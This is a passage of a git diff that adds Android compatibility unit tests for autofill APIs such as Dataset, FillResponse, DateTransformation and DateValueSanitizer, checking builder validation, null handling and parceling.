+    public void testAddChild_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.addChild(42, mock(Transformation.class)));
+    }
+
+    @Test
+    public void testBatchUpdate_nullCondition() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(null, mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () ->  mBuilder.batchUpdate(mock(Validator.class), mValidUpdate));
+    }
+
+    @Test
+    public void testBatchUpdate_nullUpdates() {
+        assertThrows(NullPointerException.class,
+                () ->  mBuilder.batchUpdate(mValidCondition, null));
+    }
+
+    @Test
+    public void testSetOnClickAction_null() {
+        assertThrows(IllegalArgumentException.class, () ->  mBuilder.addOnClickAction(42, null));
+    }
+
+    @Test
+    public void testSetOnClickAction_invalidImplementation() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.addOnClickAction(42, mock(OnClickAction.class)));
+    }
+
+    @Test
+    public void testSetOnClickAction_thereCanBeOnlyOne() {
+        final CustomDescription customDescription = mBuilder
+                .addOnClickAction(42, mock(InternalOnClickAction.class))
+                .addOnClickAction(42, mValidAction)
+                .build();
+        final SparseArray<InternalOnClickAction> actions = customDescription.getActions();
+        assertThat(actions.size()).isEqualTo(1);
+        assertThat(actions.keyAt(0)).isEqualTo(42);
+        assertThat(actions.valueAt(0)).isSameInstanceAs(mValidAction);
+    }
+
+    @Test
+    public void testBuild_valid() {
+        new CustomDescription.Builder(mock(RemoteViews.class)).build();
+        new CustomDescription.Builder(mock(RemoteViews.class))
+            .addChild(108, mValidTransformation)
+            .batchUpdate(mValidCondition, mValidUpdate)
+            .addOnClickAction(42, mValidAction)
+            .build();
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        mBuilder.build();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.addChild(108, mValidTransformation));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.batchUpdate(mValidCondition, mValidUpdate));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.addOnClickAction(42, mValidAction));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
new file mode 100644
index 0000000..8297163
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DatasetTest.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Arrays.asList;
+import static java.util.Collections.singletonList;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ClipData;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Parcel;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.Dataset;
+import android.service.autofill.InlinePresentation;
+import android.util.Size;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+import android.widget.inline.InlinePresentationSpec;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class DatasetTest {
+
+    private final AutofillId mId = new AutofillId(42);
+    private final AutofillId mId2 = new AutofillId(43);
+    private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
+    private final Pattern mFilter = Pattern.compile("whatever");
+    private final InlinePresentation mInlinePresentation = new InlinePresentation(
+            new Slice.Builder(new Uri.Builder().appendPath("DatasetTest").build(),
+                    new SliceSpec("DatasetTest", 1)).build(),
+            new InlinePresentationSpec.Builder(new Size(10, 10),
+                    new Size(50, 50)).build(), /* pinned= */ false);
+    private final ClipData mContent = new ClipData("sample label", new String[] {"image/png"},
+            new ClipData.Item("content://example/0"));
+    private final IntentSender mAuth = mock(IntentSender.class);
+
+    private final RemoteViews mPresentation = mock(RemoteViews.class);
+
+    @Test
+    public void testBuilder_nullPresentation() {
+        assertThrows(NullPointerException.class, () -> new Dataset.Builder((RemoteViews) null));
+    }
+
+    @Test
+    public void testBuilder_nullInlinePresentation() {
+        assertThrows(NullPointerException.class,
+                () -> new Dataset.Builder((InlinePresentation) null));
+    }
+
+    @Test
+    public void testBuilder_validPresentations() {
+        assertThat(new Dataset.Builder(mPresentation)).isNotNull();
+        assertThat(new Dataset.Builder(mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setNullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+        assertThrows(NullPointerException.class, () -> builder.setInlinePresentation(null));
+    }
+
+    @Test
+    public void testBuilder_setInlinePresentation() {
+        assertThat(new Dataset.Builder().setInlinePresentation(mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValueNullId() {
+        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+        assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueWithoutPresentation() {
+        // Just assert that it builds without throwing an exception.
+        assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValueWithNullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (RemoteViews) null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                null, mInlinePresentation));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_nullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                mPresentation, null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithBothPresentation_bothNull() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (RemoteViews) null, null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithNullFilter() {
+        assertThat(new Dataset.Builder(mPresentation).setValue(mId, mValue, (Pattern) null).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentation_nullFilter() {
+        assertThat(new Dataset.Builder().setValue(mId, mValue, null, mPresentation).build())
+                .isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithoutPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_nullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null, mInlinePresentation));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_nullInlinePresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                mPresentation, null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithBothPresentation_bothNull() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null, null));
+    }
+
+    @Test
+    public void testBuilder_setFieldInlinePresentations() {
+        assertThat(new Dataset.Builder().setFieldInlinePresentation(mId, mValue, mFilter,
+                mInlinePresentation)).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValue() {
+        Dataset.Builder builder = new Dataset.Builder().setValue(mId, mValue);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueForMultipleFields() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setValue(mId, mValue)
+                .setValue(mId2, mValue);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(asList(mId, mId2));
+        assertThat(dataset.getFieldValues()).isEqualTo(asList(mValue, mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueAcceptsNullValue() {
+        // It's valid to pass null value, e.g. when wanting to trigger the auth flow.
+        Dataset.Builder builder = new Dataset.Builder().setValue(mId, null);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setValueWithAuthentication() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setValue(mId, mValue)
+                .setAuthentication(mAuth);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(mValue));
+        assertThat(dataset.getAuthentication()).isEqualTo(mAuth);
+    }
+
+    @Test
+    public void testBuilder_setContent() {
+        Dataset.Builder builder = new Dataset.Builder().setContent(mId, mContent);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isEqualTo(mContent);
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setContentWithIntentIsNotAllowed() {
+        Dataset.Builder builder = new Dataset.Builder();
+        ClipData clip = ClipData.newIntent("", new Intent());
+        assertThrows(IllegalArgumentException.class, () -> builder.setContent(mId, clip));
+    }
+
+    @Test
+    public void testBuilder_setContentAcceptsNullContent() {
+        // It's valid to pass null content, e.g. when wanting to trigger the auth flow.
+        Dataset.Builder builder = new Dataset.Builder().setContent(mId, null);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isNull();
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_setContentWithAuthentication() {
+        Dataset.Builder builder = new Dataset.Builder()
+                .setContent(mId, mContent)
+                .setAuthentication(mAuth);
+        Dataset dataset = builder.build();
+        assertThat(dataset.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(dataset.getFieldContent()).isEqualTo(mContent);
+        assertThat(dataset.getAuthentication()).isEqualTo(mAuth);
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+
+    @Test
+    public void testBuilder_settingBothContentAndValuesIsNotAllowed() {
+        // Setting both content and value for the same field is not allowed.
+        Dataset.Builder builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setValue(mId, mValue);
+        assertThrows(IllegalStateException.class, builder::build);
+
+        // Setting both content and value, even if for different fields, is not allowed.
+        builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setValue(mId2, mValue);
+        assertThrows(IllegalStateException.class, builder::build);
+    }
+
+    @Test
+    public void testBuilder_settingContentForMultipleFieldsIsNotAllowed() {
+        Dataset.Builder builder = new Dataset.Builder();
+        builder.setContent(mId, mContent);
+        builder.setContent(mId2, mContent);
+        assertThrows(IllegalStateException.class, builder::build);
+    }
+
+    @Test
+    public void testBuild_noValues() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        builder.setValue(mId, mValue, mPresentation);
+        assertThat(builder.build()).isNotNull();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+        assertThrows(IllegalStateException.class,
+                () -> builder.setInlinePresentation(mInlinePresentation));
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mPresentation, mInlinePresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter, mPresentation, mInlinePresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setFieldInlinePresentation(mId, mValue, mFilter,
+                        mInlinePresentation));
+        assertThrows(IllegalStateException.class, () -> builder.setContent(mId, mContent));
+    }
+
+    @Test
+    public void testWriteToParcel_values() throws Exception {
+        Dataset dataset = new Dataset.Builder(mInlinePresentation)
+                .setValue(mId, mValue)
+                .setValue(mId2, mValue)
+                .setId("test-dataset-id")
+                .build();
+        Parcel parcel = Parcel.obtain();
+        dataset.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Dataset result = Dataset.CREATOR.createFromParcel(parcel);
+        assertThat(result.getId()).isEqualTo(dataset.getId());
+        assertThat(result.getFieldIds()).isEqualTo(asList(mId, mId2));
+        assertThat(result.getFieldValues()).isEqualTo(asList(mValue, mValue));
+        assertThat(result.getFieldContent()).isNull();
+    }
+
+    @Test
+    public void testWriteToParcel_content() throws Exception {
+        Dataset dataset = new Dataset.Builder(mInlinePresentation)
+                .setContent(mId, mContent)
+                .setId("test-dataset-id")
+                .build();
+        Parcel parcel = Parcel.obtain();
+        dataset.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        Dataset result = Dataset.CREATOR.createFromParcel(parcel);
+        assertThat(result.getId()).isEqualTo(dataset.getId());
+        assertThat(result.getFieldIds()).isEqualTo(singletonList(mId));
+        assertThat(result.getFieldContent().getItemCount()).isEqualTo(mContent.getItemCount());
+        assertThat(dataset.getFieldValues()).isEqualTo(singletonList(null));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java
new file mode 100644
index 0000000..8e37469
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateTransformationTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.icu.text.SimpleDateFormat;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.DateTransformation;
+import android.service.autofill.ValueFinder;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class DateTransformationTest {
+
+    @Mock private ValueFinder mValueFinder;
+    @Mock private RemoteViews mTemplate;
+
+    private final AutofillId mFieldId = new AutofillId(42);
+
+    @Test
+    public void testConstructor_nullFieldId() {
+        assertThrows(NullPointerException.class,
+                () -> new DateTransformation(null, new SimpleDateFormat()));
+    }
+
+    @Test
+    public void testConstructor_nullDateFormat() {
+        assertThrows(NullPointerException.class, () -> new DateTransformation(mFieldId, null));
+    }
+
+    @Test
+    public void testFieldNotFound() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
+
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testInvalidAutofillValueType() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId, new SimpleDateFormat());
+
+        when(mValueFinder.findRawValueByAutofillId(mFieldId))
+                .thenReturn(AutofillValue.forText("D'OH"));
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testValidAutofillValue() throws Exception {
+        final DateTransformation trans = new DateTransformation(mFieldId,
+                new SimpleDateFormat("MM/yyyy"));
+
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+        cal.set(Calendar.DAY_OF_MONTH, 20);
+
+        when(mValueFinder.findRawValueByAutofillId(mFieldId))
+                .thenReturn(AutofillValue.forDate(cal.getTimeInMillis()));
+
+        trans.apply(mValueFinder, mTemplate, 0);
+
+        verify(mTemplate).setCharSequence(eq(0), any(),
+                argThat(new CharSequenceMatcher("12/2012")));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java
new file mode 100644
index 0000000..de2f083
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/DateValueSanitizerTest.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.icu.text.SimpleDateFormat;
+import android.icu.util.Calendar;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.DateValueSanitizer;
+import android.util.Log;
+import android.view.autofill.AutofillValue;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Date;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Unit test")
+public class DateValueSanitizerTest {
+
+    private static final String TAG = "DateValueSanitizerTest";
+
+    private final SimpleDateFormat mDateFormat = new SimpleDateFormat("MM/yyyy");
+
+    @Test
+    public void testConstructor_nullDateFormat() {
+        assertThrows(NullPointerException.class, () -> new DateValueSanitizer(null));
+    }
+
+    @Test
+    public void testSanitize_nullValue() throws Exception {
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
+        assertThat(sanitizer.sanitize(null)).isNull();
+    }
+
+    @Test
+    public void testSanitize_invalidValue() throws Exception {
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(new SimpleDateFormat());
+        assertThat(sanitizer.sanitize(AutofillValue.forText("D'OH!"))).isNull();
+    }
+
+    @Test
+    public void testSanitize_ok() throws Exception {
+        final Calendar inputCal = Calendar.getInstance();
+        inputCal.set(Calendar.YEAR, 2012);
+        inputCal.set(Calendar.MONTH, Calendar.DECEMBER);
+        inputCal.set(Calendar.DAY_OF_MONTH, 20);
+        final long inputDate = inputCal.getTimeInMillis();
+        final AutofillValue inputValue = AutofillValue.forDate(inputDate);
+        Log.v(TAG, "Input date: " + inputDate + " >> " + new Date(inputDate));
+
+        final Calendar expectedCal = Calendar.getInstance();
+        expectedCal.clear(); // We just care for year and month...
+        expectedCal.set(Calendar.YEAR, 2012);
+        expectedCal.set(Calendar.MONTH, Calendar.DECEMBER);
+        final long expectedDate = expectedCal.getTimeInMillis();
+        final AutofillValue expectedValue = AutofillValue.forDate(expectedDate);
+        Log.v(TAG, "Exected date: " + expectedDate + " >> " + new Date(expectedDate));
+
+        final DateValueSanitizer sanitizer = new DateValueSanitizer(
+                mDateFormat);
+        final AutofillValue sanitizedValue = sanitizer.sanitize(inputValue);
+        final long sanitizedDate = sanitizedValue.getDateValue();
+        Log.v(TAG, "Sanitized date: " + sanitizedDate + " >> " + new Date(sanitizedDate));
+        assertThat(sanitizedDate).isEqualTo(expectedDate);
+        assertThat(sanitizedValue).isEqualTo(expectedValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java
new file mode 100644
index 0000000..9c1e75b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/unittests/FillResponseTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.unittests;
+
+import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+@AppModeFull(reason = "Unit test")
+public class FillResponseTest {
+
+    private final AutofillId mAutofillId = new AutofillId(42);
+    private final FillResponse.Builder mBuilder = new FillResponse.Builder();
+    private final AutofillId[] mIds = new AutofillId[] { mAutofillId };
+    private final SaveInfo mSaveInfo = new SaveInfo.Builder(0, mIds).build();
+    private final Bundle mClientState = new Bundle();
+    private final Dataset mDataset = new Dataset.Builder()
+            .setValue(mAutofillId, AutofillValue.forText("forty-two"))
+            .build();
+    private final long mDisableDuration = 666;
+    @Mock private RemoteViews mPresentation;
+    @Mock private RemoteViews mHeader;
+    @Mock private RemoteViews mFooter;
+    @Mock private IntentSender mIntentSender;
+    private final UserData mUserData = new UserData.Builder("id", "value", "cat").build();
+
+    @Test
+    public void testBuilder_setAuthentication_invalid() {
+        // null ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(null, mIntentSender, mPresentation));
+        // empty ids
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(new AutofillId[] {}, mIntentSender,
+                        mPresentation));
+        // ids with null value
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(new AutofillId[] {null}, mIntentSender,
+                        mPresentation));
+        // null intent sender
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, null, mPresentation));
+        // null presentation
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, null));
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_valid() {
+        new FillResponse.Builder().setAuthentication(mIds, null, null);
+        new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+    }
+
+    @Test
+    public void testBuilder_setAuthentication_illegalState() {
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setHeader(mHeader).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> new FillResponse.Builder().setFooter(mFooter).setAuthentication(mIds,
+                        mIntentSender, mPresentation));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setHeader(null));
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder().setFooter(null));
+    }
+
+    @Test
+    public void testBuilder_setHeaderOrFooterAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mHeader));
+        assertThrows(IllegalStateException.class, () -> builder.setHeader(mFooter));
+    }
+
+    @Test
+    public void testBuilder_setUserDataInvalid() {
+        assertThrows(NullPointerException.class, () -> new FillResponse.Builder()
+                .setUserData(null));
+    }
+
+    @Test
+    public void testBuilder_setUserDataAfterAuthentication() {
+        FillResponse.Builder builder =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder.setUserData(mUserData));
+    }
+
+    @Test
+    public void testBuilder_setFlag_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.setFlags(-1));
+    }
+
+    @Test
+    public void testBuilder_setFlag_valid() {
+        mBuilder.setFlags(0);
+        mBuilder.setFlags(FLAG_TRACK_CONTEXT_COMMITED);
+        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(0));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.disableAutofill(-1));
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_valid() {
+        mBuilder.disableAutofill(mDisableDuration);
+        mBuilder.disableAutofill(Long.MAX_VALUE);
+    }
+
+    @Test
+    public void testBuilder_disableAutofill_mustBeTheOnlyMethodCalled() {
+        // No method can be called after disableAutofill()
+        mBuilder.disableAutofill(mDisableDuration);
+        assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+        assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(mDataset));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setFieldClassificationIds(mAutofillId));
+        assertThrows(IllegalStateException.class,
+                () -> mBuilder.setClientState(mClientState));
+
+        // And vice-versa...
+        final FillResponse.Builder builder1 = new FillResponse.Builder().setSaveInfo(mSaveInfo);
+        assertThrows(IllegalStateException.class, () -> builder1.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder2 = new FillResponse.Builder().addDataset(mDataset);
+        assertThrows(IllegalStateException.class, () -> builder2.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder3 =
+                new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+        assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder4 =
+                new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
+        assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
+        final FillResponse.Builder builder5 =
+                new FillResponse.Builder().setClientState(mClientState);
+        assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+        assertThrows(NullPointerException.class,
+                () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+        final AutofillId[] oneTooMany =
+                new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+        for (int i = 0; i < oneTooMany.length; i++) {
+            oneTooMany[i] = new AutofillId(i);
+        }
+        assertThrows(IllegalArgumentException.class,
+                () -> mBuilder.setFieldClassificationIds(oneTooMany));
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_valid() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_setsFlag() {
+        mBuilder.setFieldClassificationIds(mAutofillId);
+        assertThat(mBuilder.build().getFlags()).isEqualTo(FLAG_TRACK_CONTEXT_COMMITED);
+    }
+
+    @Test
+    public void testBuilder_setFieldClassificationIds_addsFlag() {
+        mBuilder.setFlags(FLAG_DISABLE_ACTIVITY_ONLY).setFieldClassificationIds(mAutofillId);
